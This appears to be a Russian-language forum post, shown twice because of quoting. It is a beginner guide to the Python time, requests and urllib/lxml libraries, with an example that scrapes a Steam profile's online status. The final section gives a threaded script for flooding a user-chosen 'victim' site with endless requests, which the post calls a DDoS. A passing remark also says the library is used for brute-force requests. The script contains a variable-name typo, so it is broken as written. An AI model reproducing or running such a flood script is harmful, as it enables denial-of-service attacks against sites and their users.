Подпишитесь на наш Telegram-канал, чтобы всегда быть в курсе важных обновлений! Перейти

Простые библиотеки Python

substandard rank
Забаненный
Забаненный
Статус
Оффлайн
Регистрация
21 Янв 2019
Сообщения
429
Реакции
113
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Второй гайд.
В нем мы разберем простые библиотеки, в частности как ими пользоваться и подключать.

подключение библиотек:

Python:
Expand Collapse Copy
import time, os, sys, requests
#подключаем библиотеки.
#но, есть одна загвоздка, requests не стандартная библиотека python и ее нужно установить.

для установки сторонних библиотек мы используем консоль и команду pip install.

например: cmd -> pip install requests
данная команда установит нам библиотеку requests,запросов.

библиотека time


Python:
Expand Collapse Copy
#все примеры в коде
import time

'''
Таблица форматов дат.

%a краткое название дня недели
%A название дня недели
%b краткое название месяца
%B название месяца
%c дата и время
%d день
%H час в 24 формате
%I час в 12 формате
%j день в году
%m месяц
%M минуты
%p pm или am, а точнее до полудня и после
%S секнуды
%U неделя в году
%w номер дня недели
%W номер недели в году
%x дата
%X время
%y год
%Y год с веком
%Z зона времени

P.S.: Pasted from site

'''

print('Время на данный момент', time.strftime("%H:%M:%S"))
#вывод текущего времени

time.sleep(3) #остановка скрипта на n секунд, в данном случае на 3 секунды.

print(time.ctime(int(input("секунды: "))))
#время с начала эпохи + кол-во секунд которое нужно прибавить.

print(time.perf_counter())
#время прошедшее от запуска скрипта.

print(time.strftime("%Y-%m-%d-%H.%M.%S", time.localtime())) #преобразует дату в нужный тип

#вроде все что может понадобится

библиотека requests

Python:
Expand Collapse Copy
#запросы, с помощью этой библиотекы python заходит на сайт за вас (лучшее объяснение)
import requests

print(requests.get('https://yougame.biz/')) #503 означает что сервер временно не доступен. некая ддос защита от югейма
#да-да с помощью этой библиотеки делаются ддос атаки (ну почти)

#можно конвертировать запрос: peremennaya.status_code, а после сделать условие

status = requests.get('https://yougame.biz/')

if status.status_code == 200:
    print('Сервер работает!')
else:
    print('Возникли неполадки!')

#можно получить код страницы таким образом:
link = requests.get("https://github.com/")
print(str(link.content)) #желательно не раскрывать, иначе будет тормозить :)
#так же имейте ввиду что это код без кодировки UTF-8, для включения* кодировки нужно написать [0].text
#наример
print(link.text)
#эта библиотека помогает парсить данные, делать запросы для брутфорса и тд.
#разберем простейший парсинг, но так как к этой библиотеке нужно подключать еще библиотеки, легче будет использовать чуть-чуть другие запросы - urllib.

import urllib.request
from lxml.html import fromstring

site = "https://steamcommunity.com/id/Lunatrius231/"

data =  urllib.request.urlopen(site).read() #получаем код страницы

pars = fromstring(data) #преобразуем в читаемый вид

#для получения данных заходим на сайт, пкм по нужной инфе, например по статусу онлайна в стиме.
#далее нажимаем пкм по выделенной строке
#и копируем строку в формате xpath
#далее можно создать переменную с данными об онлайне.
#пишем pars.xpath('сюда то что скопировали')
online = pars.xpath('/html/body/div[1]/div[7]/div[3]/div/div[2]/div/div[1]/div[1]/div/div')

print(online[0].text) #для вывода используем [0].text

#теперь можно преобразовать это в переменную и использовать, например для статуса в вк.

item = ""

if online[0].text == "Currently Online":
    item = "This user online in steam!"
else:
    item = "This user offline in steam!"

print(item)


#вернемся к библиотеке requests, и попробуем сделать простой ддос

import threading #обработка потока

#создадим функцию с переменной для жертвы
def ddos(target):
    while True: #бесконечный цикл
        try: #пробуем выполнить в противном случае выводим информацию о том что сайт упал.
            request = requests.get(targer) #отправляем запросы жертве.
            print("Sended!") # выводим информацию о том, что запрос отправлен.
        except:
            print("Site falled") #пишем что сервер жертвы упал.
threads = 30 #количество потоков.
url = input("Site or IP: ")
try:
    threads = int(input("Threads: "))
except:
    threads = 30
if (threads < 1):
    threads = 30
#ну и проверяем корректность сслыки
if not url.__contains__("http") or not url.__contains__("."):
    print("Incorrect url!")

#самое главное, запуск.

for i in range(threads+1): #от 0 до количества потоков
    thread = threading.Thread(target=ddos, args=(url,)) #создаем переменную для управления потока
    thread.start() #запускаем.
 
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Второй гайд.
В нем мы разберем простые библиотеки, в частности как ими пользоваться и подключать.

подключение библиотек:

Python:
Expand Collapse Copy
import time, os, sys, requests
#подключаем библиотеки.
#но, есть одна загвоздка, requests не стандартная библиотека python и ее нужно установить.

для установки сторонних библиотек мы используем консоль и команду pip install.

например: cmd -> pip install requests
данная команда установит нам библиотеку requests,запросов.

библиотека time


Python:
Expand Collapse Copy
#все примеры в коде
import time

'''
Таблица форматов дат.

%a краткое название дня недели
%A название дня недели
%b краткое название месяца
%B название месяца
%c дата и время
%d день
%H час в 24 формате
%I час в 12 формате
%j день в году
%m месяц
%M минуты
%p pm или am, а точнее до полудня и после
%S секнуды
%U неделя в году
%w номер дня недели
%W номер недели в году
%x дата
%X время
%y год
%Y год с веком
%Z зона времени

P.S.: Pasted from site

'''

print('Время на данный момент', time.strftime("%H:%M:%S"))
#вывод текущего времени

time.sleep(3) #остановка скрипта на n секунд, в данном случае на 3 секунды.

print(time.ctime(int(input("секунды: "))))
#время с начала эпохи + кол-во секунд которое нужно прибавить.

print(time.perf_counter())
#время прошедшее от запуска скрипта.

print(time.strftime("%Y-%m-%d-%H.%M.%S", time.localtime())) #преобразует дату в нужный тип

#вроде все что может понадобится

библиотека requests

Python:
Expand Collapse Copy
#запросы, с помощью этой библиотекы python заходит на сайт за вас (лучшее объяснение)
import requests

print(requests.get('https://yougame.biz/')) #503 означает что сервер временно не доступен. некая ддос защита от югейма
#да-да с помощью этой библиотеки делаются ддос атаки (ну почти)

#можно конвертировать запрос: peremennaya.status_code, а после сделать условие

status = requests.get('https://yougame.biz/')

if status.status_code == 200:
    print('Сервер работает!')
else:
    print('Возникли неполадки!')

#можно получить код страницы таким образом:
link = requests.get("https://github.com/")
print(str(link.content)) #желательно не раскрывать, иначе будет тормозить :)
#так же имейте ввиду что это код без кодировки UTF-8, для включения* кодировки нужно написать [0].text
#наример
print(link.text)
#эта библиотека помогает парсить данные, делать запросы для брутфорса и тд.
#разберем простейший парсинг, но так как к этой библиотеке нужно подключать еще библиотеки, легче будет использовать чуть-чуть другие запросы - urllib.

import urllib.request
from lxml.html import fromstring

site = "https://steamcommunity.com/id/Lunatrius231/"

data =  urllib.request.urlopen(site).read() #получаем код страницы

pars = fromstring(data) #преобразуем в читаемый вид

#для получения данных заходим на сайт, пкм по нужной инфе, например по статусу онлайна в стиме.
#далее нажимаем пкм по выделенной строке
#и копируем строку в формате xpath
#далее можно создать переменную с данными об онлайне.
#пишем pars.xpath('сюда то что скопировали')
online = pars.xpath('/html/body/div[1]/div[7]/div[3]/div/div[2]/div/div[1]/div[1]/div/div')

print(online[0].text) #для вывода используем [0].text

#теперь можно преобразовать это в переменную и использовать, например для статуса в вк.

item = ""

if online[0].text == "Currently Online":
    item = "This user online in steam!"
else:
    item = "This user offline in steam!"

print(item)


#вернемся к библиотеке requests, и попробуем сделать простой ддос

import threading #обработка потока

#создадим функцию с переменной для жертвы
def ddos(target):
    while True: #бесконечный цикл
        try: #пробуем выполнить в противном случае выводим информацию о том что сайт упал.
            request = requests.get(targer) #отправляем запросы жертве.
            print("Sended!") # выводим информацию о том, что запрос отправлен.
        except:
            print("Site falled") #пишем что сервер жертвы упал.
threads = 30 #количество потоков.
url = input("Site or IP: ")
try:
    threads = int(input("Threads: "))
except:
    threads = 30
if (threads < 1):
    threads = 30
#ну и проверяем корректность сслыки
if not url.__contains__("http") or not url.__contains__("."):
    print("Incorrect url!")

#самое главное, запуск.

for i in range(threads+1): #от 0 до количества потоков
    thread = threading.Thread(target=ddos, args=(url,)) #создаем переменную для управления потока
    thread.start() #запускаем.
сделай гайд по PyGame для новичков
 
Назад
Сверху Снизу